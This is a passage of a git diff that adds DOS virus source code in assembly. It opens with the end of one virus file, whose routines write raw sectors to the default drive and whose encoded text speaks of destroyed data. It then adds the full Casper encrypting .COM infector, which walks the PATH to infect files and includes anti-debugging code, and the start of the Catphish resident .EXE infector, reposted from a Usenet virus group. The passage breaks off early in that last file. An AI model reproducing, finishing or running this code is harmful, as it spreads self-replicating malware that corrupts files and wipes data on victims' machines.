+ int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + jmp short loc_35 ; (09C7) + nop +loc_35: + jmp short loc_35 ; (09C7) + +; +; SUBROUTINE +; + +sub_7 proc near + mov ah,0 + push ax + mov dh,0Bh + mov ah,2 + mov bh,0 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + pop ax + mov bl,3 + div bl ; al, ah rem = ax/reg + mov bl,ah + mov bh,0 + add bx,609h + mov al,[bx] + mov ah,0Eh + mov bx,0 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + retn +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + push ds + mov bx,ds + add bx,1000h + mov ds,bx + mov bx,0 + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov cx,50h + mov dx,0 + int 25h ; Absolute disk read, drive al + popf ; Pop flags + mov bx,0 + mov ds,bx + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov cx,50h + mov dx,0 + int 26h ; Absolute disk write, drive al + popf ; Pop flags + pop ds + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near + push ds + mov bx,ds + add bx,1000h + mov ds,bx + mov bx,0 + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov cx,50h + mov dx,0 + int 26h ; Absolute disk write, drive al + popf ; Pop flags + pop ds + retn +sub_9 endp + +loc_36: + mov bx,0 + mov ax,4B59h + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx + cmp ax,666h + jne loc_37 ; Jump if not equal + jmp loc_41 ; (0AF0) +loc_37: + push ds + pop es + push ds + push cs + pop ds + mov si,0 + mov di,917h + mov cx,100h + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop ds + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + mov ds:data_14e,bx ; (6AE6:0041=0) + mov ds:data_15e,es ; (6AE6:0043=6AE6h) + mov dx,4Eh + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + mov dx,11h + mov cx,3Fh + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_38 ; Jump if carry Set + mov dx,11h + call sub_1 ; (06EE) + cmp dl,1 + jne loc_38 ; Jump if not equal + call sub_2 ; (073C) +loc_38: + call sub_5 ; (07FD) + mov dx,20h + mov cx,2 + mov ah,3Ch ; '<' + int 21h ; DOS Services ah=function 3Ch + ; create/truncate file @ ds:dx + jc loc_40 ; Jump if carry Set + mov bx,ax + mov dx,0 + mov cx,91Ah + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + push ax + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + pop ax + cmp ax,cx + je loc_39 ; Jump if equal + mov dx,20h + mov ah,41h ; 'A' + int 21h ; DOS Services ah=function 41h + ; delete file, name @ ds:dx + jmp short loc_40 ; (0AD1) + db 90h +loc_39: + push cs + pop es + mov bx,cs:data_8e ; (6AE6:0002=0) + sub bx,92Ch + mov cx,cs + sub bx,cx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov dx,20h + push ds + pop es + mov bx,2Dh + mov ax,4B00h + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx +loc_40: + call sub_6 ; (0813) + push cs + pop es + mov di,0 + mov si,917h + mov cx,0FFh + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov dx,ds:data_14e ; (6AE6:0041=0) + mov bx,ds:data_15e ; (6AE6:0043=6AE6h) + mov ds,bx + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx +loc_41: + push cs + pop ds + jmp $-0F32h + jmp $+3DFh + db 48h, 9Bh, 9Ch, 3Fh, 5, 0Ah + db 5, 3, 1, 3, 0, 6Eh + db 71h, 6Dh, 6Dh, 84h, 84h, 84h + db 0A8h, 0ADh, 0B7h, 0AFh, 84h, 0A8h + db 0A9h, 0B7h, 0B8h, 0B6h, 0B3h, 0BDh + db 0A9h, 0B6h, 84h, 5Dh, 84h, 0A5h + db 84h, 0B7h, 0B3h, 0B9h, 0BAh, 0A9h + db 0B2h, 0ADh, 0B6h, 84h, 0B3h, 0AAh + db 84h, 0B1h, 0A5h, 0B0h, 0B8h, 0A5h + db 6Eh, 71h, 6Eh, 71h, 6Dh, 6Dh + db 0ADh, 84h, 0CCh, 0C5h, 0DAh, 0C9h + db 84h, 0CEh, 0D9h, 0D7h, 0D8h, 84h + db 0A8h, 0A9h, 0B7h, 0B8h, 0B6h, 0B3h + db 0BDh, 0A9h, 0A8h, 84h, 0D8h, 0CCh + db 0C9h, 84h, 0AAh, 0A5h, 0B8h, 84h + db 0D3h, 0D2h, 84h, 0DDh, 0D3h, 0D9h + db 0D6h, 84h, 0A8h, 0CDh, 0D7h, 0CFh + db 84h, 85h, 85h, 6Eh, 71h, 84h + db 84h, 84h, 84h, 84h, 84h, 0ACh + db 0D3h, 0DBh, 0C9h, 0DAh, 0C9h, 0D6h + db 90h, 84h, 0ADh, 84h, 0CCh, 0C5h + db 0DAh, 0C9h, 84h, 0C5h, 84h, 0C7h + db 0D3h, 0D4h, 0DDh, 84h, 0CDh, 0D2h + db 84h, 0B6h, 0A5h, 0B1h, 90h, 84h + db 0C5h, 0D2h, 0C8h, 84h, 0ADh, 0C4h + db 0D1h, 84h, 0CBh, 0CDh, 0DAh, 0CDh + db 0D2h, 0CBh, 84h, 0DDh, 0D3h, 0D9h + db 84h, 0C5h, 84h, 0D0h, 0C5h, 0D7h + db 0D8h, 84h, 0C7h, 0CCh, 0C5h, 0D2h + db 0C7h, 0C9h, 6Eh, 71h, 6Dh, 6Dh + db 6Dh, 0D8h, 0D3h, 84h, 0D6h, 0C9h + db 0D7h, 0D8h, 0D3h, 0D6h, 0C9h, 84h + db 0DDh, 0D3h, 0D9h, 0D6h, 84h, 0D4h + db 0D6h, 0C9h, 0C7h, 0CDh, 0D3h, 0D9h + db 0D7h, 84h, 0C8h, 0C5h, 0D8h, 0C5h + db 92h, 6Eh, 71h, 84h, 84h, 84h + db 84h, 84h, 0BBh, 0A5h, 0B6h, 0B2h + db 0ADh, 0B2h, 0ABh, 9Eh, 84h, 0ADh + db 0AAh, 84h, 0BDh, 0B3h, 0B9h, 84h + db 0B6h, 0A9h, 0B7h, 0A9h, 0B8h, 84h + db 0B2h, 0B3h, 0BBh, 90h, 84h, 0A5h + db 0B0h, 0B0h, 84h, 0BDh, 0B3h, 0B9h + db 0B6h, 84h, 0A8h, 0A5h, 0B8h, 0A5h + db 84h, 0BBh, 0ADh, 0B0h, 0B0h, 84h + db 0A6h, 0A9h, 84h, 0B0h, 0B3h, 0B7h + db 0B8h, 84h, 91h, 84h, 0AAh, 0B3h + db 0B6h, 0A9h, 0BAh, 0A9h, 0B6h, 84h + db 85h, 85h, 6Eh, 71h, 6Dh, 6Dh + db 84h, 84h, 84h, 0BDh, 0D3h, 0D9h + db 0D6h, 84h, 0A8h, 0C5h, 0D8h, 0C5h + db 84h, 0C8h, 0C9h, 0D4h, 0C9h, 0D2h + db 0C8h, 0D7h, 84h, 0D3h, 0D2h, 84h + db 0C5h, 84h, 0CBh, 0C5h, 0D1h, 0C9h + db 84h, 0D3h, 0CAh, 84h, 0AEh, 0A5h + db 0A7h, 0AFh, 0B4h, 0B3h, 0B8h, 71h + db 6Eh, 71h, 6Eh, 6Dh, 6Dh, 84h + db 84h, 84h, 84h, 84h, 84h, 0A7h + db 0A5h, 0B7h, 0ADh, 0B2h, 0B3h, 84h + db 0A8h, 0A9h, 84h, 0B1h, 0A5h, 0B0h + db 0B8h, 0A9h, 84h, 0AEh, 0A5h, 0A7h + db 0AFh, 0B4h, 0B3h, 0B8h + db 'nqnqmmm-1' + db 1Fh, 6Dh, 2Dh, 31h, 1Fh, 6Dh + db 2Dh, 31h, 1Fh, 6Eh, 71h, 6Dh + db 6Dh, 6Dh, 3Bh, 0, 3Bh, 6Dh + db 3Bh, 0A3h, 3Bh, 6Dh, 3Bh, 0FFh + db ';nqmmm,1 m,1 m,1 nqmmm' + db 84h, 84h, 84h, 84h, 0A7h, 0B6h + db 0A9h, 0A8h, 0ADh, 0B8h, 0B7h, 84h + db 9Eh, 84h, 99h + db 'nqqnqnmmm' + db 0, 0, 0, 84h, 0A1h, 84h + db 0BDh, 0D3h, 0D9h, 0D6h, 84h, 0A8h + db 0CDh, 0D7h, 0CFh, 6Eh, 71h, 6Dh + db 6Dh, 6Dh, 0A3h, 0A3h, 0A3h, 84h + db 0A1h, 84h, 0B1h, 0DDh, 84h, 0B4h + db 0CCh, 0D3h, 0D2h, 0C9h, 84h, 0B2h + db 0D3h, 92h, 6Eh, 71h, 6Eh, 71h + db 6Dh, 6Dh, 6Dh, 0A5h, 0B2h, 0BDh + db 84h, 0AFh, 0A9h, 0BDh, 84h, 0B8h + db 0B3h, 84h, 0B4h, 0B0h, 0A5h, 0BDh + db 'qnqnqnqnqn' + db 88h, 6Eh, 71h, 0A6h, 0A5h, 0B7h + db 0B8h, 0A5h, 0B6h, 0A8h, 84h, 85h + db 84h, 0BDh, 0D3h, 0D9h, 0C4h, 0D6h + db 0C9h, 84h, 0D0h, 0D9h, 0C7h, 0CFh + db 0DDh, 84h, 0D8h, 0CCh, 0CDh, 0D7h + db 84h, 0D8h, 0CDh, 0D1h, 0C9h, 84h + db 91h, 84h, 0C6h, 0D9h, 0D8h, 84h + db 0CAh, 0D3h, 0D6h, 84h, 0DDh, 0D3h + db 0D9h, 0D6h, 84h, 0D3h, 0DBh, 0D2h + db 84h, 0D7h, 0C5h, 0CFh, 0C9h, 90h + db 84h, 0D2h, 0D3h, 0DBh, 6Eh, 71h + db 0B7h, 0BBh, 0ADh, 0B8h, 0A7h, 0ACh + db 84h, 0B3h, 0AAh, 0AAh, 84h, 0BDh + db 0B3h, 0B9h, 0B6h, 84h, 0A7h, 0B3h + db 0B1h, 0B4h, 0B9h, 0B8h, 0A9h, 0B6h + db 84h, 0A5h, 0B2h, 0A8h, 84h, 0A8h + db 0B3h, 0B2h, 0C4h, 0B8h, 84h, 0B8h + db 0B9h, 0B6h +loc_42: + mov dl,84h + lodsw ; String [si] to ax + mov ax,0B384h + mov dl,84h + mov ax,0B0ADh + mov al,84h + mov ax,0B1B3h + mov bl,0B6h + mov dh,0B3h + mov bx,8584h + test ax,ds:data_33e[di] ; (6AE6:716E=0) + mov [bp+71h],ch + mov dl,0D3h + test ch,[bp+si-3827h] + iret ; Interrupt return + db 0CDh, 0D2h, 0C4h, 84h, 0A7h, 0CCh + db 0C5h, 0D2h, 0C7h, 0C9h, 9Fh, 84h + db 0C5h, 0D2h, 0C8h, 84h, 0ADh, 0C4h + db 0D1h, 84h, 0D4h, 0D9h, 0D2h, 0CDh + db 0D7h, 0CCh, 0CDh, 0D2h, 0CBh, 84h + db 0DDh, 0D3h, 0D9h, 84h, 0CAh, 0D3h + db 0D6h, 84h, 0D8h, 0D6h, 0DDh, 0CDh + db 0D2h, 0CBh, 84h, 0D8h, 0D3h, 84h + db 0D8h, 0D6h, 0C5h, 0C7h, 0C9h, 84h + db 0D1h, 0C9h, 84h, 0C8h, 0D3h, 0DBh + db 0D2h, 84h, 85h, 88h, 6Eh, 71h + db 0ACh, 0A5h, 84h, 0ACh, 0A5h, 84h + db 85h, 85h, 84h, 0BDh, 0D3h, 0D9h + db 84h, 0C5h, 0D7h, 0D7h, 0CCh, 0D3h + db 0D0h, 0C9h, 90h, 84h, 0DDh, 0D3h + db 0D9h, 0C4h, 0DAh, 0C9h, 84h, 0D0h + db 0D3h, 0D7h, 0D8h, 9Eh, 84h, 0D7h + db 0C5h, 0DDh, 84h, 0A6h, 0DDh, 0C9h + db 84h, 0D8h, 0D3h, 84h, 0DDh, 0D3h + db 0D9h, 0D6h, 84h, 0A6h, 0C5h, 0D0h + db 0D0h, 0D7h, 84h, 92h, 92h, 92h + db 6Eh, 71h, 88h, 0CDh, 20h, 0 + +seg_a ends + + + + end start diff --git a/c/Casper.asm b/c/Casper.asm new file mode 100755 index 0000000..e157a0b --- /dev/null +++ b/c/Casper.asm @@ -0,0 +1,776 @@ +; +; +; Copyright (C) Mark Washburn, 1990. All Rights Reserved +; +; +; Inquires are directed to : +; Mark Washburn +; 4656 Polk Street NE +; Columbia Heights, MN 55421 +; USA +; +; +; +; +code segment public 'CODE' + org 100h +; + assume cs:code,ds:code,es:code +; + +;stopdebug equ 1 ; define this for disassembly trap code +int1vec equ 4 +int3vec equ 12 +; +dta_ptr equ -4 +file_crea equ -8 +file_attr equ -10 +path_start_ptr equ -12 +file_start_ptr equ -14 +RAND_SEED equ -16 +ptr1 equ -18 ; pointer to start of loop code +ptr2 equ -20 ; save data_begin pointer +dat1 equ -22 ; the random code used +dat2 equ -24 ; the decode length plus random length offset, max_msk + ; to make the decode routine more difficult to detect +dat3 equ -26 ; the 'necessary crypt code' mask +; +IFNDEF stopdebug +local_stack equ 26 +max_msk equ 0ffh ; this determines the maximum variance of length +ELSE +nobugptr equ -28 +oldint3 equ -32 +oldint1 equ -36 +local_stack equ 36 +max_msk equ 0ffh ; this determines the maximum variance of length +ENDIF +; +; +; +doscall macro call_type + ifnb + mov ah, call_type + endif + int 21h + endm +; +setloc macro arg1,reg2 + mov [bp + arg1],reg2 + endm +; +getloc macro reg1,arg2 + mov reg1,[bp + arg2] + endm +; +setdat macro arg1,reg2 + mov [si + offset arg1 - offset data_begin],reg2 + endm +; +getdat macro reg1,arg2 + mov reg1,[si + offset arg2 - offset data_begin] + endm +; +regofs macro reg1,arg2 + mov reg1,si + add reg1,offset (arg2 - data_begin) + endm +; +NOBUG1 macro +IFDEF stopdebug + INT 3 + NOP +ENDIF + endm +; +nobug2 macro +IFDEF stopdebug + INT 3 +ENDIF + endm +; +; +start: + jmp entry +; +; +; + MOV AH,0 + INT 021h ; program code +; db 600h-6 dup (0) +; insert utility code here +; +entry: + + +IFDEF stopdebug + call precrypt + db 36 dup (090h) ; calculated length of offset(t41-t10) +ELSE + db 39 dup (090h) ; calculated length of offset(t41-t10) +ENDIF +; +; label the start of encoded section +entry2: + + + + + + +INCLUDE utility.asm <------- Manipulation Task Goes Here! + + + + + + + + mov bp,sp ; allocate locals + sub sp,local_stack +; + push cx +movcmd: ; this label is used to locate the next instruction + mov dx,offset data_begin + setloc ptr2,dx ; save - will be modified in 'gencode' +IFDEF stopdebug +; +; save interrupt 1 and 3 vectors +; + push ds + mov ax,0 + push ax + pop ds + cli + mov ax,ds:[int1vec] + setloc oldint1,ax + mov ax,ds:[int1vec+2] + setloc oldint1+2,ax + mov ax,ds:[int3vec] + setloc oldint3,ax + mov ax,ds:[int3vec+2] + setloc oldint3+2,ax + sti + pop ds +; + call bugon +ENDIF + mov si,dx + add si,(offset old_code - offset data_begin) + mov di,0100h + mov cx,03h + cld + repz movsb + mov si,dx + doscall 30h ; check DOS version + cmp al,0 + NOBUG1 ; 0 + jnz cont1 ; DOS > 2.0 + jmp exit +cont1: + push es + doscall 2fh ; get program DTA + NOBUG1 ; 0 + setloc dta_ptr,bx + NOBUG1 ; 0 + setloc dta_ptr+2,es + pop es + regofs dx,my_dta + doscall 1ah ; set new DTA + push es + push si + mov es,ds:[02ch] ; environment address + mov di,0 +loop1: + pop si + push si + add si,(offset path_chars - offset data_begin) + lodsb + mov cx,8000h + repnz scasb + mov cx,4 +loop2: + lodsb + scasb + jnz loop1 + loop loop2 + pop si + pop es + setloc path_start_ptr,di + mov bx,si + add si,offset (file_name-data_begin) + mov di,si + jmp cont6 + nobug2 +next_path: + cmp word ptr [bp + path_start_ptr],0 + jnz cont3 + jmp exit2 + nobug2 +cont3: + push ds + push si + mov ds,es:[002ch] + + mov di,si + mov si,es:[bp+path_start_ptr] + add di,offset (file_name-data_begin) +loop3: + lodsb + cmp al,';' ; 3bh + jz cont4 + cmp al,0 + jz cont5 + stosb + jmp loop3 + nobug2 +cont5: + mov si,0 +cont4: + pop bx + pop ds + mov [bp+path_start_ptr],si + cmp ch,0ffh + jz cont6 + mov al,'\' ; 5ch + stosb +cont6: + mov [bp+file_start_ptr],di + mov si,bx + add si,(offset com_search-offset data_begin) + mov cx,6 + repz movsb + mov si,bx + mov ah,04eh + regofs dx,file_name + mov cx,3 + doscall + jmp cont7 + nobug2 +next_file: + doscall 04fh +cont7: + jnb cont8 + jmp next_path + nobug2 +cont8: + mov ax,[si+offset(my_dta-data_begin)+016h] ; low time byte + and al,01fh + cmp al,01fh + jz next_file +IFNDEF stopdebug + cmp word ptr [si+offset(my_dta-data_begin)+01ah],0fa00h + ; file length compared; need 1.5 k spare, see rnd off +ELSE + cmp word ptr [si+offset(my_dta-data_begin)+01ah],0f800h +ENDIF + jz next_file ; with virus length + cmp word ptr [si+offset(my_dta-data_begin)+01ah],0ah + ; file to short + jz next_file + mov di,[bp+file_start_ptr] + push si + add si,offset(my_dta-data_begin+01eh) +move_name: + lodsb + stosb + cmp al,0 + jnz move_name + pop si + mov ax,04300h + regofs dx,file_name + doscall + setloc file_attr,cx + mov ax,04301h + and cx,0fffeh + regofs dx,file_name + doscall + mov ax,03d02h + regofs dx,file_name + doscall + jnb cont9 + jmp exit3 + nobug2 +cont9: + mov bx,ax + mov ax,05700h + doscall + setloc file_crea,cx + setloc file_crea+2,dx +cont10: + mov ah,3fh + mov cx,3 + regofs dx,old_code + doscall + NOBUG1 ; 1 + jb cont98 + NOBUG1 + cmp ax,3 + NOBUG1 + jnz cont98 + NOBUG1 + mov ax,04202h + NOBUG1 ;1 + mov cx,0 + mov dx,0 + doscall + jnb cont99 +cont98: + jmp exit4 +cont99: + NOBUG1 ; 2 + push bx ; save file handle + NOBUG1 + mov cx,ax + push cx + NOBUG1 + sub ax,3 + NOBUG1 + setdat jump_code+1,ax + add cx,(offset data_begin-offset entry+0100h) + NOBUG1 + mov di,si + NOBUG1 + sub di,offset data_begin-offset movcmd-1 + NOBUG1 + mov [di],cx +; + doscall 02ch ; seed the random number generator + xor dx,cx + NOBUG1 + setloc rand_seed,dx + NOBUG1 ; 2 + call random + NOBUG1 ; 3 + getloc ax,rand_seed + NOBUG1 ; 3 + and ax,max_msk ; add a random offset to actual length + NOBUG1 ; 3 + add ax,offset (data_end-entry2) ; set decode length + NOBUG1 ; 3 + setloc dat2,ax ; save the decode length + NOBUG1 ; 3 + setdat (t13+1),ax ; set decode length in 'mov cx,xxxx' + pop cx ; restore the code length of file to be infected + NOBUG1 ; 3 + add cx,offset (entry2-entry+0100h) ; add the length + ; of uncoded area plus file offset + setdat (t11+1),cx ; set decode begin in 'mov di,xxxx' + NOBUG1 ; 3 + call random + getloc ax,rand_seed + NOBUG1 ; 3 + setloc dat1,ax ; save this random key in dat1 + setdat (t12+1),ax ; set random key in 'mov ax,xxxx' + NOBUG1 ; 3 + mov di,si + NOBUG1 ; 3 + sub di,offset (data_begin-entry) + NOBUG1 ; 3 + mov bx,si + add bx,offset (l11-data_begin) ; table L11 address + mov word ptr [bp+dat3],000000111b ; required routines + call gen2 ; generate first part of decrypt + setloc ptr1,di ; save the current counter to resolve 'loop' + add bx,offset (l21-l11) ; add then next tables' offset + NOBUG1 ; 3 + mov word ptr [bp+dat3],010000011b ; required plus 'nop' + NOBUG1 ; 3 + call gen2 ; generate second part of decrypt + add bx,offset (l31-l21) ; add the next offset + NOBUG1 + call gen2 ; generate third part of decrypt + mov cx,2 ; store the loop code + getloc si,ptr2 + NOBUG1 ; 3 + add si,offset (t40-t10) ; point to the code + repz movsb ; move the code + getloc ax,ptr1 ; the loop address pointer + sub ax,di ; the current address + dec di ; point to the jump address + stosb ; resolve the jump +; fill in the remaining code +l991: + getloc cx,ptr2 ; get the data_begin pointer + sub cx,offset (data_begin-entry2) ; locate last+1 entry + cmp cx,di ; are we there yet? + je l992 ; if not then fill some more space + mov dx,0h ; any code is ok + call gencode ; generate the code + jmp l991 + nobug2 +l992: + getloc si,ptr2 ; restore si to point to data area ; + push si + mov di,si + NOBUG1 ; 4 + mov cx,offset(end1-begin1) ; move code + add si,offset(begin1-data_begin) + NOBUG1 ; 4 + add di,offset(data_end-data_begin+max_msk) ; add max_msk + mov dx,di ; set subroutine start + repz movsb ; move the code + pop si + pop bx ; restore handle + call setrtn ; find this address + add ax,06h ; <- the number necessary for proper return + push ax + jmp dx ; continue with mask & write code +; continue here after return from mask & write code + NOBUG1 ; 4 + jb exit4 + cmp ax,offset(data_end-entry) + NOBUG1 ; 4 + jnz exit4 + mov ax,04200h + mov cx,0 + mov dx,0 + doscall + jb exit4 + mov ah,040h + mov cx,3 + NOBUG1 ; 4 + regofs dx,jump_code + doscall +exit4: + getloc dx,file_crea+2 + getloc cx,file_crea + and cx,0ffe0h + or cx,0001fh + mov ax,05701h + doscall + doscall 03Eh ; close file +exit3: + mov ax,04301h + getloc cx,file_attr + regofs dx,file_name + doscall +exit2: + push ds + getloc dx,dta_ptr + getloc ds,dta_ptr+2 + doscall 01ah + pop ds +exit: + pop cx + xor ax,ax + xor bx,bx + xor dx,dx + xor si,si + mov sp,bp ; deallocate locals + mov di,0100h + push di +IFDEF stopdebug + call bugoff +ENDIF + ret +; +; common subroutines +; +; +random proc near +; + getloc cx,rand_seed ; get the seed + xor cx,813Ch ; xor random pattern + add cx,9248h ; add random pattern + ror cx,1 ; rotate + ror cx,1 ; three + ror cx,1 ; times. + setloc rand_seed,cx ; put it back + and cx,7 ; ONLY NEED LOWER 3 BITS + push cx + inc cx + xor ax,ax + stc + rcl ax,cl + pop cx + ret ; return +; +random endp +; +setrtn proc near +; + pop ax ; ret near + push ax + ret +; +setrtn endp +; +gencode proc near +; +l999: + call random + test dx,ax ; has this code been used yet? + jnz l999 ; if this code was generated - try again + or dx,ax ; set the code as used in dx + mov ax,cx ; the look-up index + sal ax,1 + push ax + xlat + mov cx,ax ; the count of instructions + pop ax + inc ax + xlat + add ax,[bp+ptr2] ; ax = address of code to be moved + mov si,ax + repz movsb ; move the code into place + ret +; +gencode endp +; +gen2 proc near +; + mov dx,0h ; used code +l990: + call gencode + mov ax,dx ; do we need more code + and ax,[bp+dat3] ; the mask for the required code + cmp ax,[bp+dat3] + jne l990 ; if still need required code - loop again + ret +; +gen2 endp +; +IFDEF stopdebug +doint3: + push bx + mov bx,sp + push ax + push si + mov si,word ptr [bx+02] + inc word ptr [bx+02] ; point to next address + setloc nobugptr,si + lodsb ; get the byte following int 3 + xor byte ptr [si],al + mov al,[bx+7] ; set the trap flag + or al,1 + mov [bx+7],al + pop si + pop ax + pop bx + iret +; +doint1: + push bx + mov bx,sp + push ax + push si + getloc si,nobugptr + lodsb + xor byte ptr [si],al + mov al,[bx+7] ; clear the trap flag + and al,0feh + mov [bx+7],al + pop si + pop ax + pop bx +bugiret: + iret +; +bugon: + pushf + push ds + push ax + mov ax,0 + push ax + pop ds + getloc ax,ptr2 + sub ax,offset(data_begin-doint3) + cli + mov ds:[int3vec],ax + getloc ax,ptr2 + sub ax,offset(data_begin-doint1) + mov ds:[int1vec],ax + push cs + pop ax + mov ds:[int1vec+2],ax + mov ds:[int3vec+2],ax + sti + pop ax + pop ds + popf + ret +; +bugoff: + pushf + push ds + push ax + mov ax,0 + push ax + pop ds + + getloc ax,oldint3 + cli + mov ds:[int3vec],ax + getloc ax,oldint1 + mov ds:[int1vec],ax + getloc ax,oldint1+2 + mov ds:[int1vec+2],ax + getloc ax,oldint3+2 + mov ds:[int3vec+2],ax + sti + + pop ax + pop ds + popf + ret +; +ENDIF +; +; +; the data area +; +data_begin label near +; +T10 LABEL NEAR +T11: MOV DI,0FFFFH +T12: MOV AX,0FFFFH +T13: MOV CX,0FFFFH +T14: CLC +T15: CLD +T16: INC SI +T17: DEC BX +T18: NOP +T19 LABEL NEAR +; +T20 LABEL NEAR +T21: XOR [DI],AX +T22: XOR [DI],CX +T23: XOR DX,CX +T24: XOR BX,CX +T25: SUB BX,AX +T26: SUB BX,CX +T27: SUB BX,DX +T28: NOP +T29 LABEL NEAR +; +T30 LABEL NEAR +T31: INC AX +T32: INC DI +T33: INC BX +T34: INC SI +T35: INC DX +T36: CLC +T37: DEC BX +T38: NOP +T39 LABEL NEAR +; +T40: LOOP T20 +T41 LABEL NEAR +; +L11: DB OFFSET (T12-T11),OFFSET (T11-data_begin) +L12: DB OFFSET (T13-T12),OFFSET (T12-data_begin) +L13: DB OFFSET (T14-T13),OFFSET (T13-data_begin) +L14: DB OFFSET (T15-T14),OFFSET (T14-data_begin) +L15: DB OFFSET (T16-T15),OFFSET (T15-data_begin) +L16: DB OFFSET (T17-T16),OFFSET (T16-data_begin) +L17: DB OFFSET (T18-T17),OFFSET (T17-data_begin) +L18: DB OFFSET (T19-T18),OFFSET (T18-data_begin) +; +L21: DB OFFSET (T22-T21),OFFSET (T21-data_begin) +L22: DB OFFSET (T23-T22),OFFSET (T22-data_begin) +L23: DB OFFSET (T24-T23),OFFSET (T23-data_begin) +L24: DB OFFSET (T25-T24),OFFSET (T24-data_begin) +L25: DB OFFSET (T26-T25),OFFSET (T25-data_begin) +L26: DB OFFSET (T27-T26),OFFSET (T26-data_begin) +L27: DB OFFSET (T28-T27),OFFSET (T27-data_begin) +L28: DB OFFSET (T29-T28),OFFSET (T28-data_begin) +; +L31: DB OFFSET (T32-T31),OFFSET (T31-data_begin) +L32: DB OFFSET (T33-T32),OFFSET (T32-data_begin) +L33: DB OFFSET (T34-T33),OFFSET (T33-data_begin) +L34: DB OFFSET (T35-T34),OFFSET (T34-data_begin) +L35: DB OFFSET (T36-T35),OFFSET (T35-data_begin) +L36: DB OFFSET (T37-T36),OFFSET (T36-data_begin) +L37: DB OFFSET (T38-T37),OFFSET (T37-data_begin) +L38: DB OFFSET (T39-T38),OFFSET (T38-data_begin) +; +; +; +; this routine is relocated after the end of data area +; this routine encrypts, writes, and decrypts the virus code +; +begin1: + getloc cx,dat2 ; get off (data_end-entry2) plus max_msk + getloc ax,dat1 ; get decode ket + mov di,si ; and set the begin encrypt address + sub di,offset (data_begin-entry2) + call crypt + mov ah,040h + mov cx,offset data_end-offset entry + mov dx,si + sub dx,offset data_begin-offset entry + doscall + pushf ; save the status of the write + push ax + getloc cx,dat2 ; get off (data_end-entry2) plus max_msk + getloc ax,dat1 + mov di,si + sub di,offset (data_begin-entry2) + call crypt + pop ax ; restore the DOS write's status + popf + ret +; +crypt: + xor [di],ax + xor [di],cx + inc ax + inc di + loop crypt + ret +end1: +; +; global work space and constants +; +old_code: db 090h,090h,090h +jump_code: db 0e9h,0,0 +com_search: db '*.COM',0 +path_chars: db 'PATH=' +file_name: db 40h DUP (0) +my_dta: db 2Bh DUP (0) + db 0,0,0 + +data_end label near +IFDEF stopdebug +; +scan_bytes db 0CCh,090h +; +precrypt: + mov bp,sp ; allocate locals + sub sp,local_stack + doscall 02ch ; seed the random number generator + xor dx,cx + setloc rand_seed,dx + call random + mov di,offset start + push ds + pop es +lp999: + mov cx,08000h + mov si,offset scan_bytes + lodsb + repnz scasb + cmp cx,0 + je done998 + cmp di,offset data_end + jge done998 + lodsb + scasb + jnz lp999 + call random + getloc ax,rand_seed + dec di + mov [di],al + inc di + xor [di],al + inc di ; skip the masked byte + jmp short lp999 +done998: + mov sp,bp + ret +ENDIF + +code ends + end start + \ No newline at end of file diff --git a/c/Catphish.asm b/c/Catphish.asm new file mode 100755 index 0000000..a8632e1 --- /dev/null +++ b/c/Catphish.asm @@ -0,0 +1,552 @@ +From smtp Sun Jan 29 16:25 EST 1995 +Received: from ids.net by POBOX.jwu.edu; Sun, 29 Jan 95 16:25 EST +Date: Sun, 29 Jan 1995 16:18:52 -0500 (EST) +From: ids.net!JOSHUAW (JOSHUAW) +To: pobox.jwu.edu!joshuaw +Content-Length: 11874 +Content-Type: text +Message-Id: <950129161852.10074@ids.net> +Status: RO + +To: joshuaw@pobox.jwu.edu +Subject: (fwd) CATPHISH.ASM +Newsgroups: alt.comp.virus + +Path: paperboy.ids.net!uunet!cs.utexas.edu!uwm.edu!msunews!news.mtu.edu!news.mtu.edu!not-for-mail +From: jdmathew@mtu.edu (Icepick) +Newsgroups: alt.comp.virus +Subject: CATPHISH.ASM +Date: 26 Jan 1995 13:06:15 -0500 +Organization: Michigan Technological University +Lines: 486 +Message-ID: <3g8oan$54g@maxwell11.ee> +NNTP-Posting-Host: maxwell11.ee.mtu.edu +X-Newsreader: TIN [version 1.2 PL1] + + + +name VIRUSTEST + title +code segment + assume cs:code, ds:code, es:code + org 100h + +;-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +; The Catphish Virus. +; +; The Catphish virus is a resident .EXE infector. +; Size: 678 bytes (decimal). +; No activation (bomb). +; Saves date and file attributes. +; +; If assembling, check_if_resident jump must be marked over +; with nop after first execution (first execution will hang +; system). +; +; *** Source is made available to learn from, not to +; change author's name and claim credit! *** + +start: + call setup ; Find "delta offset". +setup: + pop bp + sub bp, offset setup-100h + jmp check_if_resident ; See note above about jmp! + +pre_dec_em: + mov bx,offset infect_header-100h + add bx,bp + mov cx,endcrypt-infect_header + +ror_em: + mov dl,byte ptr cs:[bx] + ror dl,1 ; Decrypt virus code + mov byte ptr cs:[bx],dl ; by rotating right. + inc bx + loop ror_em + + jmp check_if_resident + +;--------------------------------- Infect .EXE header ----------------------- +; The .EXE header modifying code below is my reworked version of +; Dark Angel's code found in his Phalcon/Skism virus guides. + + +infect_header: + push bx + push dx + push ax + + + + mov 